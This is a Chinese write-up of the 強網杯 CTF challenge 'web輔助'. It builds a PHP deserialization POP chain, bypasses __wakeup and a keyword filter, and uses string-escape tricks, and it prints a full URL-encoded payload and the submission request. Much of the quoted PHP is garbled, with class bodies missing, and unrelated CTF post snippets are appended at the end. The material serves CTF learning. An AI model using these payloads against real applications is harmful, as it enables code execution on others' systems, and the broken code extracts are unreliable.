這裡就藉由強網杯的一道題目「web輔助」,來講講從構造pop鏈,字串逃逸到最後獲取flag的過程
獲取我們傳入的username和password,並將其序列化儲存
...if (isset($_get['
username
']) && isset($_get['
password
']))
else
...
這裡面的read,write有與'\0\0', chr(0)."".chr(0)相關的替換操作,還有乙個check對我們的序列化的內容進行檢查,判斷是否存在關鍵字name,這裡也是我們需要繞過的乙個地方
<?phpfunction read($data)
function write($data)
function check($data)
else
}?>
在寫入序列化的內容之後,訪問play.php,如果我們的操作通過了check,然後經過了read的替換操作之後,便會進行反序列化操作
...@$player = unserialize(read(check(file_get_contents("
caches/
".md5($_server['
remote_addr
'])))));
...
這裡存在著各種類,也是我們構造pop鏈的關鍵,我們的目的是為了觸發最後的cat /flag
<?phpclass
player
public
function get_admin()
}class
topsolo
public
function tp()
}public
function __destruct()
}class
midsolo
public
function __wakeup()
}public
function __invoke()
public
function gank()
else
}}class
jungle
public
function ks()
public
function __tostring()
}?>
pop鏈:如果我們需要觸發的關鍵**在乙個類的普通方法中,例如本題的system('cat /flag')在jungle類中的ks方法中,這個時候我們可以通過相同的函式名將類的屬性和敏感函式的屬性聯絡起來
這裡涉及到三個類,topsolo、midsolo、jungle,其中觀察到topsolo類中的tp方法中,使用了$name(),如果我們將乙個物件賦值給$name,這裡便是以呼叫函式的方式呼叫了乙個物件,此時會觸發invoke方法,而invoke方法存在與midsolo中,invoke()會觸發gank方法,執行了stristr操作。
我們的最終目的是要觸發jungle類中的ks方法,從而cat /flag,而觸發ks方法得先觸發__tostring方法,一般來說,在我們使用echo輸出物件時便會觸發,例如:
<?phpclass
test
}$a = new
test();
echo $a;
//輸出:__tostring()
在common.php中,我們並沒有看到有echo乙個類的操作,但是有乙個stristr($this->name, 'yasuo')的操作,我們來看一下:
<?phpclass
test
}$a = new
test();
stristr($a,
'name');
//輸出__tostring()
所以整個pop鏈已經構成了
topsolo->__destruct()->tp()->$name()->midsolo->__invoke()->gank()->stristr()->jungle->__tostring()->ks()->syttem('cat /flag
')
即:
<?phpclass
topsolo
}class
midsolo
}class
jungle
$a = new topsolo(new midsolo(new
jungle()));
$exp =serialize($a);
var_dump(urlencode($exp));
?>
輸出:
o%3a7%3a%22topsolo%22%3a1%3a%7bs%3a7%3a%22%00%2a%00name%22%3bo%3a7%3a%22midsolo%22%3a1%3a%7bs%3a7%3a%22%00%2a%00name%22%3bo%3a6%3a%22jungle%22%3a1%3a%7bs%3a7%3a%22%00%2a%00name%22%3bs%3a0%3a%22%22%3b%7d%7d%7d
在midsolo中wakeup需要繞過,老套路了,序列化字串中表示物件屬性個數的值大於真實的屬性個數時會跳過wakeup的執行,這裡我將1改為2
o%3a7%3a%22topsolo%22%3a1%3a%7bs%3a7%3a%22%00%2a%00name%22%3bo%3a7%3a%22midsolo%22%3a2%3a%7bs%3a7%3a%22%00%2a%00name%22%3bo%3a6%3a%22jungle%22%3a1%3a%7bs%3a7%3a%22%00%2a%00name%22%3bs%3a0%3a%22%22%3b%7d%7d%7do:7:"
topsolo
":1:}}
···function check($data)
else
}···
這裡使用十六進製制繞過\6e\61\6d\65,並將s改為s
o%3a7%3a%22topsolo%22%3a1%3a%7bs%3a7%3a%22%00%2a%00\6e\61\6d\65%22%3bo%3a7%3a%22midsolo%22%3a2%3a%7bs%3a7%3a%22%00%2a%00\6e\61\6d\65%22%3bo%3a6%3a%22jungle%22%3a1%3a%7bs%3a7%3a%22%00%2a%00\6e\61\6d\65%22%3bs%3a0%3a%22%22%3b%7d%7d%7d
訪問index.php,傳入數值,得到序列化內容
o:6:"player
":3:}}
";s:8:"
\0*\0admin
";i:0;}
可以看到物件topsolo,midsolo被s:102,所包裹,我們要做的就是題目環境本身的替換字元操作從而達到物件topsolo,midsolo從引號的包裹中逃逸出來
···function read($data)
function write($data)
···
在反序列化操作前,有個read的替換操作,字元數量從5位變成3位,合理構造username的長度,經過了read的替換操作後,最後將";s:7:"\0\0pass";s:126吃掉,需要吃掉的長度為23,因為5->3,所以得為2的倍數,需要在password中再填充乙個字元c,變成24位,所以我們一共需要構造12個\0\0來進行username填充,得到username
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
在password中補上被吃掉的pass部分,構造password的提交內容
password=c";s:7:
"\0*\0pass"
;o%3a7%3a%22topsolo%22%3a1%3a%7bs%3a7%3a%22%00%2a%00\6e\61\6d\65%22%3bo%3a7%3a%22midsolo%22%3a2%3a%7bs%3a7%3a%22%00%2a%00\6e\61\6d\65%22%3bo%3a6%3a%22jungle%22%3a1%3a%7bs%3a7%3a%22%00%2a%00\6e\61\6d\65%22%3bs%3a0%3a%22%22%3b%7d%7d%7d
最後提交
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=c";s:7:
"\0*\0pass"
;o%3a7%3a%22topsolo%22%3a1%3a%7bs%3a7%3a%22%00%2a%00\6e\61\6d\65%22%3bo%3a7%3a%22midsolo%22%3a2%3a%7bs%3a7%3a%22%00%2a%00\6e\61\6d\65%22%3bo%3a6%3a%22jungle%22%3a1%3a%7bs%3a7%3a%22%00%2a%00\6e\61\6d\65%22%3bs%3a0%3a%22%22%3b%7d%7d%7d
然後訪問play.php即可得到flag
實驗推薦
php反序列化漏洞實驗
通過本次實驗,大家將會明白什麼是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和預防此類漏洞。
2019強網杯小記
好久沒打過ctf了,這次打完了才意識到這次比賽的很多題其實都是一些原題或者原題變種或者拼湊起來,但奈何太久沒做過ctf了,跟不上了,太菜了qaq web6 首先掃一下目錄,存在ds store資訊洩露和一些路徑 訪問api目錄,提示post引數filename 並提供乙個array,使用postma...
強網杯 2019 web題 高明的黑客
復現環境 buuoj.cn 這裡貼出趙師傅的python指令碼 膜一波 import os import threading from concurrent.futures.thread import threadpoolexecutor import requests session reques...
強網杯 2019 隨便注
1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...